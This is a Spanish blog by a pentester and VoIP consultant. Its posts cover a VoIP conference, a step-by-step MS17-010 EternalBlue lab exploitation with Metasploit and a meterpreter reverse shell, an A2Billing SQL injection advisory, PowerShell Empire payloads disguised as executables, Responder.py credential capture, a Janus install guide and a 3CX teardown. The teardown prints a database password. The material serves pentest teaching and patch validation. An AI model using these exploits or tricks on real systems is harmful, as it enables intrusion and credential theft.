Acerca de jroliva

Juan Oliva, es un consultor de seguridad informática y telefonía IP con 10 años de experiencia en el campo . Muy involucrado en proyectos de pruebas de penetración , análisis y explotación vulnerabilidades, pruebas de ingeniería social, seguridad física, revisión de código, entre otras tareas de seguridad informática. Así mismo, desarrolla proyectos de implementación y mantenimiento de VoIP, basadas en Asterisk y Elastix, proyectos de callcenter, soluciones en la nube y hosted PBX, Aseguramiento de plataformas Linux, Windows. Ha estado trabajando para una variedad de empresas en donde ha desarrollado proyectos para el estado peruano, así como para entidades privadas, nacionales y del extranjero, cuenta con certificaciones vigentes en Ethical hacking, Linux y telefonía IP. Es instructor de cursos de Ethical Hacking y certificaciónes como Linux Professional Institute y Elastix, donde ha tenido oportunidad de realizar capacitaciones en el Perú, así como en el extranjero. Es investigador de vulnerabilidades, y creador de contenidos, que son publicados en su blog personal jroliva.wordpress.com el cual mantiene desde hace mas de 6 años.

BeFree – Evento de Comunicaciones Open Source en Latinoamerica

Como algunos saben, durante varios años vengo trabajando en temas de VoIP que es mi segunda pasión profesional luego del #Hacking y la seguridad , En este tiempo he estado involucrado en varias iniciativas como Elastix y FreePBX inclusive, siendo instructor en su momento del primero en su momento.

Si bien es cierto todo en la vida cambia y aveces bastante rápido, siempre he proclamado y seguido la linea del uso del código abierto para soluciones de VoIP – Telefonía IP, ya que esta provee un punto de inflexión para el crecimiento profesional de los individuos que la utilizamos, personalmente he podido modificar, crear, programar nuevas funcionalidades, modificar código para brindar seguridad a mi gusto, lo cual potencia en y un 1000% de una solución de comunicaciones unificadas.

Es así, que he tenido el honor de ser invitado como speaker/conferencista al BeFreeEvento de Comunicaciones Open Source en Latinoamerica, a desarrollarse este 21 de Junio en la ciudad de México, BeFree es un evento que busca fortalecer la comunidad de Comunicaciones Unificadas Open Source y difundir innovación en tecnologías emergentes, en el marco de estas ideas, se difundirá el ecosistema de Issabel (PBX IP basada en Software Libre y de Código Abierto) que busca en pocas palabras, apunta a ser la propuesta a muy largo plazo ante la desaparición de Elastix, la cual por supuesto ha concitado la atención de la prensa en México, como se muestra a continuación.

BeFree, estará compuesto de exposiciones, conferencias, talleres y un hacktaton, este ultimo es un espacio muy interesante desarrolladores, en donde podrán participar de un maratón de creación software o “Addons” para resolver alguna problemática en concreto.

Por otro lado también estarán presentes personalidades del mundo VoIP/Asterisk como Nicolas Gudiño – Creador de Asternic Call Center , David Duffett – Director, Comunidad Mundial de Asterisk en DIGIUM , Alfio Muñoz Experimentado Instructor de Asterisk , Saul Ibarra – Senior Software Developer en Atlassian “Jitsi”

Finalmente, brindaré una charla denominada @IssabelIP una relación segura” en donde mostrare pasos muy prácticos para fortalecer la plataforma y minimizar riesgos de seguridad en una plataforma IP PBX basada en Asterisk.

Es así que si estas en México, no puedes de dejar de asistir el BeFree y si eres lector de este blog, por favor acércate que sera un inmenso gusto poder platicar de los temas que nos interesan.

Nos vemos en el BeFree!!

 

Explotando Vulnerabilidad MS17-010 o WannaCry

El pasado 12 de Mayo durante el desarrollo del Peruhack en Lima-Perú estallaba la noticia de un ataque global del ahora famoso ramsomware “Wanacry”  arrasando múltiples empresas, grandes y extra grandes.

La duda es, como funciona Wanacry ?
El punto de entrada inicial no era muy diferente a los ramsomware que han aparecido anteriormente y se trata de infección via corre electrónico atraves de adjuntos con malware que explotaba una vulnerabilidad hasta esa fecha “no tan conocida” luego se expandía por la redes colindantes explotando la misma vulnerabilidad.

Ello es en resumen, técnicamente hablando , la vulnerabilidad que explotada por el ransomware WanaCrypt0r o WanaCry es la denominada por el boletin oficial de Microsoft como MS17-010 la cual afecta primordialmente a Windows 7 y Windows 2008 server que fue remediada por Microsoft el 14 de marzo es decir existe un parche desde esa fecha. El tema es que existe una herramienta llamada “EternalBlue” liberada por ShadowBrokers ( un grupo de hackers involucrados en el hackeo a la NSA) la cual explota la vulnerabilidad y afecta al protocolo SMB ( Servicio para compartir archivos e impresoras) que ahora está portada a Mestasploit por Elevenpaths.

Es por ello que su propagación fue masiva debido a que basta que una sola maquina se infecte para que se propague en toda una red LAN.

A continuación vamos a hacer una prueba de concepto paso a paso de como se explota la vulnerabilidad y luego aplicaremos el parche y probaremos nuevamente.

Escenario
Atacante : Kali Linux 2016_1 / IP 192.168.56.102
Atacado : Windows 7 64Bits / IP 192.168.56.101

1- Detección de Vulnerabilidad MS17-010 (Wanacry) con Nmap
cd /usr/share/nmap/scripts
wget https://raw.githubusercontent.com/cldrn/nmap-nse-scripts/master/scripts/smb-vuln-ms17-010.nse
nmap -d -sC -p445 –script smb-vuln-ms17-010.nse 192.168.56.101

Como se puede ver el scrip de nmap nos indica que el sistema operativo es vulnerable a ms17-010 ,con la confirmación vamos a explotar.

2- Explotando la Vulnerabilidad MS17-010 (Wanacry) con Metasploit

2.1- Instalación del exploit Eternalblue-Doublepulsar en Metasploit

cd /root
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cp /root/Eternalblue-Doublepulsar-Metasploit/eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/

2.2..- Atacando Windows 7 64Bits vulnerable

msfconsole
use exploit/windows/smb/eternalblue_doublepulsar
show info
show targets
set TARGET 8
set PAYLOAD windows/meterpreter/reverse_tcp
set PROCESSINJECT explorer.exe
set LHOST 192.168.56.102
set LPORT 4444
set RHOST 192.168.56.101
exploit

Como vemos se genera la sesión de Meterpreter

2.1- Aplicando Parche y Probando que la vulnerabilidad

2.1- Aplicando Parche UPDATE de seguridad para MS17-010

Descargamos la actualización oficial desde :

http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212

Aplicamos el parche

2.2- Validando que la vulnerabilidad fue parchada

Validando con Nmap

Validando nuevamente con Metasploit

Como vemos luego de a ver aplicado el parche ya no es posible tomar el control del sistema, asi que a realizar las actualizaciones antes que se infecten.

Saludos
Juan Oliva
@jroliva

 

Vulnerabilidad en A2BILLING ELASTIX 2.5 2.4 thanku-outcall iridium_threed.php

Por experiencia algunas vulnerabilidades toman un tiempo en “madurar” o hacerse masivas, esto ha pasado con está específicamente. En estas ultimas semanas he recibido muchas noticias y comentarios de hackeos a plantas, PBX, Centrales basadas en Elastix 2.4 y 2.5 en donde se crean un contexto llamado thanku-outcall esto por lo general, nombre del contexto puede cambiar evidentemente,  el objetivo es que se crea un contexto que permite sacar llamadas o en algunos casos mas creativos permiten originar llamadas solo para abrir un canal hacia un 0800 por ejemplo.

Como ingresan ? Cual es el punto de acceso?
Pues para variar el punto de acceso es vía Web ( Puerto 80, 443)  se trata de un archivo vulnerable en A2billing específicamente el archivo “iridium_threed.php” el cual permite una inyeccion SQL el cual inserta un registro en el servidor de base de datos de esta forma:

Luego de ello se crea un contexto en el archivo extensions_custom.conf alguna variante puede hasta crear un archivo en el directorio de publicación de apache.

La vulnerabilidad es clasificada como crítica. El punto de acceso es una función desconocida del archivo a2billing/customer/iridium_threed.php del componente Billing es afectada por esta vulnerabilidad. Mediante la manipulación del parámetro transactionID de un input desconocido se causa una vulnerabilidad de tipo sql injection.

La vulnerabilidad fue publicada el 2015-03-07 en exploitdb  la cual pueden verificar en https://www.exploit-db.com/exploits/36305/. La vulnerabilidad es identificada como CVE-2015-1875. La explotación se considera fácil. El ataque se puede efectuar a través de la red. La explotación no necesita ninguna autenticación específica.

Como parcho , Como lo corrijo o mitigo?
Si necesitas A2billing , es migrar a la versión superior, ya que la que trae Elastix es una version bastante antigua,  sin embargo sabemos que en las PBX no necesitas este software, lo recomiendo personalmente  es eliminarlo sacar del directorio de publicación de apache la carpeta A2billing.

Y si no tengo publicado mi Elastix no me interesa ?
Pues si te debería interesar ya que los hackeos no necesariamente vienen desde afuera, ahora con las vulnerabilidades como wanacry no te puedes fiar de tu red interna.

Y si tengo Issabel PBX o FreePBX ?
Pues para tranquilidad Issabel o FreePbx no trae A2billing fue un gran acierto eliminar aplicaciones “extra”

Espero les sirva la info.
Juan Oliva
@jroliva

 

 

 

 

Powershell Empire tomando el control de Windows 8.1

EmpireDurante las labores de un proyecto de Ethical Hacking / Pentesting, es necesario desarrollar en actividades que involucran, ataques de ingeniería social y/o  ataques del lado del cliente.

En cualquier de los casos, la actividad a desarrollar es comprometer el computador de los usuarios evaluados, con el objetivo de validar la educacion informatica de los usuarios frente a este tipo de ataques y también que tan buenos son los controles de malware y/o antivirus locales o instalados en el perímetro.

Para estos casos una de las herramientas que en la practica tiene mucho éxito es Powershell Empire.

empire

 

 

 

 

 

 

Powershell Empire como sus propios creadores lo denominan es un agente de Post-explotación que implementa la capacidad de ejecutar agentes de PowerShell sin necesidad de powershell.exe  cuenta con módulos de post-explotación que son rápidamente desplegables que van desde key loggers a Mimikatz,

Instalarlo sobre Kali Linux es muy sencillo, basta con hacer un git clone de repositorio :

https://github.com/adaptivethreat/Empire.git

P.O.C. De demostración

 

Evidentemente ese bat es posible convertirlo a un archivo EXE y camuflarlo cambiándole el icono, con lo cual tendríamos un archivo mucho mas atractivo para el usuario final.

En un segundo post, veremos como generar una macro con Empire para infectar un archivo de MS. Office.

Saludos
Juan Oliva

Capturando Credenciales con Responder.py

responderResponder.py , es una herramienta desarrollada por Trustwave SpiderLabs, la cual  puede responder a las consultas LLMNR y NBT-NS dando su propia dirección IP como destino para cualquier nombre de host solicitado.

Pero Cómo trabaja ?

Para entender como trabaja, es necesario conocer como funcionan las peticiones de recursos de red en una red Windows, ya que justamente, es posible abusar del comportamiento predeterminado de los servicios de resolución de nombres que usa Microsoft Windows con el objetivo de robar credenciales de autenticación.

Desmenuzando el comportamiento

Si un cliente de Windows no puede resolver un nombre de host utilizando el servicio DNS, este utilizará el protocolo de resolución de nombres de multidifusión o mejor llamado “LLMNR” para pedir a los equipos vecinos resolver las direcciones IPv4 e inclusive bajo IPv6.

Si la solicitud usando LLMNR falla, se utilizará el protocolo NetBios Name Service o NBT-NS el cual cumple el mismo objetivo que el anterior. 

Entonces, cuando un host utiliza LLMNR o NBT-NS para resolver una solicitud de un recurso de red, es posible que cualquier host de la red que conozca la dirección IP del host al que se le pregunte puede responder. Incluso si un host responde a una de estas solicitudes con información incorrecta, todavía se considerará como legítimo, en esa etapa en donde se sitúa la herramienta Responder.py para capturar credenciales.

Gráficamente sería lo siguiente:

responder

Responder.py no solo para LLMNR o NBT-NS

Responder.py por si fuera poco, además viene con varios servidores de autenticación falsos (HTTP/SMB/MSSQL/FTP/LDAP) que soportan NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP y autenticación HTTP básica.

Para qué sirve en un servicio de Pentesting ?

eh

 

 

 

 

 

Para los que nos dedicamos a esto, sabemos que la captura de credenciales mediante fuerza bruta es un proceso que difícilmente se puede realizar con buenos margenes de éxito debido al corto tiempo con el que se cuenta, en este caso Responder.py surge como una técnica muy buena para ello, poder realizar captura de credenciales y conseguir ingresar a estaciones y/o servidores además de realizar post explotación evidentemente.

P.O.C. Veamos una demo del funcionamiento.

Mas adelante veremos otros de escenarios de aplicacion de responder.py durante un pentesting.

Saludos
Juan Oliva

 

Install Janus WebRTC Gateway in Debian

janus-logo

Desde hace varios meses vengo trabajando algunas cosas con mi amigo de aventuras tecnológicas Alfredo Pastor @AlfredoPastorL  sobre la plataforma “Janus”  pero qué es? 

Por que no solo de Asterisk vive el hombre, se puede decir que  Janus es auto denominado por la empresa Meetecho como un “WebRTC Gateway” de múltiple propósito, proporciona funcionalidades de comunicación para el uso de WebRTC con un navegador, a través del intercambio mensajes JSON y retransmitir comunicación RTP / RTCP . es posible  desarrollar implementaciones de aplicaciones como pruebas de eco, web conference, grabadoras de medios, pasarelas SIP y similares.

En este caso vamos a ver  como instalarlo correctamente en una plataforma DEBIAN

1.- Instalación de dependencias

#apt-get install aptitude
#aptitude install libmicrohttpd-dev libjansson-dev libnice-dev libssl-dev libsrtp-dev libsofia-sip-ua-dev libglib2.0-dev libopus-dev libogg-dev libcurl4-openssl-dev pkg-config gengetopt libtool automake make git cmake

Luego removemos los paquetes de correspondientes a rtp srtp ya que vamos a instalar nuevas versiones desde fuentes.

#apt-get remove libsrtp0 libsrtp0-dev
#apt-get autoremove libsrtp0 libsrtp0-dev

2.- Instalación de SRTP

#cd /opt/
#wget https://github.com/cisco/libsrtp/archive/v1.5.4.tar.gz
tar xfv v1.5.4.tar.gz
#cd libsrtp-1.5.4
#./configure –prefix=/usr –enable-openssl
#make shared_library && make install

Janus

3.- Instalación de USRSCTP

#cd /opt/
#git clone https://github.com/sctplab/usrsctp
#cd usrsctp
#./bootstrap
#./configure –prefix=/usr/lib64 && make && make install

 

4.- Instalación de LIBWEBSOCKETS

#cd /opt/
#git clone https://github.com/warmcat/libwebsockets.git
#libwebsockets
#mkdir build && cd build/
#cmake -DCMAKE_INSTALL_PREFIX:PATH=/usr -DCMAKE_C_FLAGS=”-fpic” ..
#make && make install

selection_057

5.- Instalación de DXYGEN y GRAPHVIZ

#aptitude install doxygen graphviz

6.- Instalación de RABBITMQ

#cd /opt
#git clone https://github.com/alanxz/rabbitmq-c
#cd rabbitmq-c
#git submodule init
#git submodule update
#autoreconf -i
#./configure –prefix=/usr && make && make install

Janus

7.- Instalación de PAHO

#cd /opt
#git clone https://github.com/eclipse/paho.mqtt.c.git
#cd paho.mqtt.c
#make && make install

Janus

8.- Instalación de JANUS

#cd /opt
#git clone https://github.com/meetecho/janus-gateway.git
#cd janus-gateway
#sh autogen.sh
#./configure –prefix=/opt/janus
#make
#make install
#make configs
#./configure –disable-rabbitmq
#./configure –enable-docs

Janus

9.- Instalación del servidor Web

#apt-get install apache2

Ahora copiamos las paginas de ejemplo
#cp -R /opt/janus-gateway/html/ /var/www/
#cd /var/www/html/

10.- Pruebas

Si todo salio bien deberíamos poder levantar Janus de la siguiente forma :

#/opt/janus/bin/janus

JanusEso quiere decir que Janus está en funcionamiento, luego ingresaremos al servidor Web de la siguiente forma :   http://debian/ y veremos los siguiente

janusSi desean ver el manual en video Alfredo realizó todo el proceso incluido como funcionan los demos de Janus

En el siguiente post haremos una guia de como enlazar Janus con Asterisk

DESTRIPANDO 3CX PBX A.K.A. ELASTIX 5

selection_051

Ahora que ya termine de hacer varios informes de pentesting y con un respiro a cuestas por fiestas de fin de año, decidí darme un vuelta al mundo de la VOIP y ver lo que andaba pasando, después de lo que ocurrido con la venta de Elastix , era motivo de darle una mirada al “nuevo producto” por dentro y ver que tenía.

Ahora como no tengo ni una remota idea de como empezar, hacemos una búsqueda recursiva de la siguiente forma :  find / -name “3cxpbx”

Y nos arroja esto :

/etc/cron.d/3cxpbx
/etc/nginx/sites-enabled/3cxpbx
/etc/sudoers.d/3cxpbx
/usr/lib/3cxpbx
/usr/share/3cxpbx
/var/lib/3cxpbx

Bueno, ya tenemos un punto de partida, empecemos:

1.- Sistema Operativo

Esto debe ser lo mejor que tiene , el sistema está basado en un Debian 8

selection_048

2.- Servidor Web
Primero  no usa Apache si no NGINX lo cual en algún sentido es bueno por las ventajas que tiene, sin embargo ahora las preguntas de rigor

Donde está el directorio de publicación ? correrá PHP ??

En la búsqueda anterior salio la ruta “/etc/nginx/sites-enabled/3cxpbx”

veamos ( captura del fichero)

location /
index index.html;^M
root /var/lib/3cxpbx/Data/Http/wwwroot;
try_files $uri $uri/ @proxy;
}

location /MyPhone {^M
alias /var/lib/3cxpbx/Instance1/Data/Http/Interface/MyPhone;
try_files $uri $uri/ @proxy;
}

identificamos dos directorios la raiz seteada a “/var/lib/3cxpbx/Data/Http/wwwroot” y otra llamada /MyPhone seteada a “/var/lib/3cxpbx/Instance1/Data/Http/Interface/MyPhone”

Vamos al wwwroot y corremos :

touch prueba.html ; echo “ESTO ES UNA PRUEBA” > prueba.html

ingresamos a http://192.168.1.36:5000/prueba.html y nos permite visualizar el archivo.

Ahora vamos con el típico phpinfo.php y oh sorpresa no funciona 😦   es decir no tiene soporte para PHP

selection_041

3.- Base de datos
Luego de indagar sobre el servidor web, ahora ver que BD corre, donde lo saco? ,
revisando por la ruta donde al parecer reside, ubico en la ruta “/var/lib/3cxpbx/Bin” algunos archivos .ini al mismo estilo de Windows 😦

me llamo la atención este en particular : 3CXPhoneSystem.ini en donde ohh sorpresa!! encontré cadenas de conexión a base de datos Postgresql

confNIC = 127.0.0.1
DBPort = 5432
DBName = phonesystem
dbUser = phonesystem
ConfPort = 5485
dbPassword = EF11C93F-3E70-4D6E-A2C9-AC87944EC028

Evidentemente el servidor de BD solo permite conexiones locales, pero ya sabemos que tiene como BD.

4.- Motor de telefonía
Ahora lo mas importante,  tendrá ASTERISK como motor ?

Corremos el comando “asterisk -rx” y nada  entonces que tiene ?

Bueno haciendo unas capturas con Wireshark , la cosa esta se presenta como “3CXPhoneSytem”

selection_043

Y Elastix 5 😦

ahora veamos que servicio lo ejecuta en Linux , ya que quiero saber si tiene alguna interfase de comandos o un CLI al menos.

selection_044

Como vemos tenemos el programa “3CXPbxServer” ahora hacemos una búsqueda y encontramos:

selection_049

Como vemos es un binario que corre como root y además o sorpresa hay una serie de programas adicionales con el mismo nombre que solo dios sabe lo que hacen.

Ahora veamos si el binario ofrece una interfase de comandos :

selection_046

Nos pide ciertos parámetros , los averiguamos dentro los archivos ini  y nuevamente probamos:

selection_050

Definitivamente no hay respuesta.

5.- Conclusiones

Luego de esta revisión bastante rápida, las conclusiones son obvias, sobre todo para los que venimos y somos del mundo Asterisk.

  • La solución no tiene Asterisk , si no su propio desarrollo implementar SIP
  • Al no tener Asterisk no es posible usar AMI, AGI, PJSIP, ARI con lo cual resta mucho, sobre todo a gente como yo que desarrolla y personalizar mucho.
  • No corre PHP , al menos por defecto, si bien es cierto metiéndole mano se podría incluir en NGINX pero no es el caso.
  • No provee una interfase de consola o un CLI , es algo de lo que siempre me quejo de otras soluciones y esta entra a la lista ahora, por ahí vi unos logs pero no basta.
  • Lo único que veo de bueno a nivel de arquitectura es que usa Debian , aunque por hay vi algunos path como “C:\Program Files\3CX Phone System Cloud Server\” que aun se han olvidado sacar.

En resumen :  Elastix 5 o mejor dicho 3CX LINUX no va ser, ni será para mi una opción, basándome solo en algunos detalles claves de su arquitectura, ello sin mencionar las limitaciones (trunk , extensiones) a nivel de la aplicación que tiene, será motivo para ir viendo otras alternativas.

Nota final : Esta es una posición totalmente personal del escritor de este blog, no representa la opinión de ninguna empresa conexa.